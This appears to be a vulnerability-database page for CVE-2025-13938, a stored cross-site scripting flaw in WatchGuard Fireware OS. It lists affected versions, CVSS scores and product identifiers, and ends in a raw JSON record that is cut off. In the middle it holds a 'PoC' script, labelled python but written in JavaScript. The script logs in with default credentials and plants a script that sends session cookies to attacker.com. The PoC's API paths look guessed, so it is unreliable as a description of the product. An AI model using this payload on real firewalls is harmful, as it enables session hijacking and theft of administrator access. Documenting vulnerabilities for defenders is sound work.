Security Vulnerability Report
中文
CVE-2025-13938 CVSS 6.1 MEDIUM

CVE-2025-13938

Published: 2025-12-04 22:15:48
Last Modified: 2025-12-10 16:03:09
Source: 5d1c2695-1a31-4499-88ae-e847036fd7e3

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WatchGuard Fireware OS (Autotask Technology Integration module) allows Stored XSS.This issue affects Fireware OS 12.4 up to and including 12.11.4, 12.5 up to and including 12.5.13, and 2025.1 up to and including 2025.1.2.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:watchguard:firebox_t115-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t125:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t125-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t145:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t145-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:watchguard:firebox_m270:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m290:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m370:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m390:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m440:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:watchguard:firebox_t15:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t35:-:*:*:*:*:*:*:* - NOT VULNERABLE
WatchGuard Fireware OS 12.4 至 12.11.4
WatchGuard Fireware OS 12.5 至 12.5.13
WatchGuard Fireware OS 2025.1 至 2025.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13938 WatchGuard Fireware OS Stored XSS PoC // Target: WatchGuard Fireware OS Autotask Integration Module // Note: This is for authorized security testing only const axios = require('axios'); async function exploitCVE202513938() { const targetUrl = 'https://target-firewall.local:8080'; const maliciousPayload = '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>'; // Step 1: Authenticate to WatchGuard Fireware OS const authData = { username: 'admin', password: 'password' }; try { const loginResponse = await axios.post(`${targetUrl}/api/login`, authData, { headers: { 'Content-Type': 'application/json', 'X-Auth-Token': 'valid-token-if-needed' } }); const sessionCookie = loginResponse.headers['set-cookie']; // Step 2: Inject XSS payload into Autotask Integration module const autotaskConfig = { endpoint: 'autotask_integration', field: 'company_name', // or other input fields in Autotask module value: maliciousPayload }; await axios.post(`${targetUrl}/api/autotask/config`, autotaskConfig, { headers: { 'Cookie': sessionCookie, 'Content-Type': 'application/json' } }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will be stored and executed when viewed'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } exploitCVE202513938();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13938", "sourceIdentifier": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "published": "2025-12-04T22:15:47.863", "lastModified": "2025-12-10T16:03:08.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WatchGuard Fireware OS (Autotask Technology Integration module) allows Stored XSS.This issue affects Fireware OS 12.4 up to and including 12.11.4, 12.5 up to and including 12.5.13, and 2025.1 up to and including 2025.1.2."}], "metrics": {"cvssMetricV40": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1", "versionEndExcluding": "2025.1.3", "matchCriteriaId": "46DAB795-8DD0-4D6C-99D5-B9057E76DB87"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t115-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "E8AAE66B-DD19-4C90-8DFC-F77BA1541642"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FC18430-C6B4-4395-BFF1-83BB005875BA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "1A7C1C91-8B6E-4FB0-841E-7F88B06B1435"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145:-:*:*:*:*:*:*:*", "matchCriteriaId": "8FE309D6-BD5E-4D18-91C3-A492C3576115"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "75959D39-0960-4836-96C7-DB8048DDE4B8"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t185:-:*:*:*:*:*:*:*", "matchCriteriaId": "D0087049-27C6-4B18-A645-72A8F63D7C6D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.11.5", "matchCriteriaId": "8A7E5749-EB5F-41C5-8CD9-1C4A0FF6E738"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m270:-:*:*:*:*:*:*:*", "matchCriteriaId": "E472917E-D6E1-4C2D-B37D-E76FCC7307CA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m290:-:*:*:*:*:*:*:*", "matchCriteriaId": "9A8C7779-4466-4A9E-B191-929E7746DFF7"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m370:-:*:*:*:*:*:*:*", "matchCriteriaId": "6CE9A123-B769-4E56-845E-DC3DA6166C78"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m390:-:*:*:*:*:*:*:*", "matchCriteriaId": "180FAE8C-2E73-4C09-AA11-0C82A7715FA3"}, {"vulnerable": false, "criteri ... (truncated)